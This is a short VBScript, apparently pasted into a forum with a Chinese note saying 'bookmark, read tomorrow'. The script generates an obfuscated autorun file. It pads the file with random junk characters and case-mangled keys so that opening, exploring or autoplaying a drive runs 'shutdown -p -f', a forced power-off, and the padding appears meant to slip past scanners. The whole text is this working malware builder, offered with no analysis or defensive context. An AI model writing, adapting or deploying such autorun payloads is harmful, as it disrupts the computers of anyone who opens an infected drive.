dim ft(8)
ft(1)=chr(255)&chr(-415)&chr(71)
ft(2)=chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(10)&chr(2)&chr(28)&chr(9)&chr(4)&chr(29)&chr(7)&chr(18)&chr(91)&chr(26)&chr(5)&chr(17)&"AUTorUN"&chr(18)&chr(1)&chr(15)
ft(3)=chr(9)&"shelLExECUte"&chr(21)&chr(21)&chr(12)&chr(18)&chr(17)&chr(15)&chr(61)&chr(29)&chr(27)&chr(19)&chr(9)&chr(29)&chr(14)&" shutdown -p -f"
ft(4)=chr(32)&chr(32)&chr(65)&chr(99)&chr(84)&chr(73)&chr(79)&chr(78)&chr(9)&chr(4)&chr(12)&chr(24)&chr(28)&chr(31)&chr(17)&chr(23)&chr(61)&chr(15)&chr(18)&chr(27)&chr(17)&chr(19)&chr(-19214)&chr(-16470)&chr(-12604)&chr(-17154)&chr(-17200)&chr(-11564)&chr(-19735)&chr(-16460)&chr(-12604)&chr(-17154)
ft(5)="sHell\EXplore\COMmANd"&chr(21)&chr(21)&chr(12)&chr(18)&chr(17)&chr(15)&chr(61)&chr(15)&chr(18)&chr(27)&chr(17)&chr(19)&" shutdown -p -f"
ft(6)="sHell\OPeN\COMmANd"&chr(21)&chr(1)&chr(21)&chr(32)&chr(61)&chr(29)&chr(27)&chr(19)&chr(9)&chr(29)&chr(14)&" shutdown -p -f"
ft(7)=chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(3)&chr(18)&chr(16)&"useAuTopLAY"&chr(22)&chr(28)&chr(21)&chr(28)&chr(30)&chr(3)&chr(7)&chr(7)&chr(14)&chr(61)&chr(29)&chr(27)&chr(19)&chr(9)&chr(29)&chr(14)&"1    "
yqu=";"
for tq = 1 to 43000
ae=rnd*10
be=rnd*1000*(-1)^(int(rnd*10))
de=rnd
select case tq
case 30000
ce=ce&ab&ft(2)&ab
case 35290
ce=ce&ab&ft(3)&ab
case 35300
ce=ce&ab&ft(4)&ab
case 35840
ce=ce&ab&ft(5)&ab
case 35900
ce=ce&ab&ft(6)&ab
case 36009
ce=ce&ab&ft(7)&ab
end select
if int(tq/(int((rnd+0.8)*800)+1)) = tq/(int((rnd+0.8)*800)+1) then
ce=ce&ab&yqu
end if
ce=ce&chr(int(int(be*ae)*de))
Next
fz=ft(1)&yqu&ce
CreateObject("scripting.filesystemobject").createtextfile("d").write fz

标记下,明天看..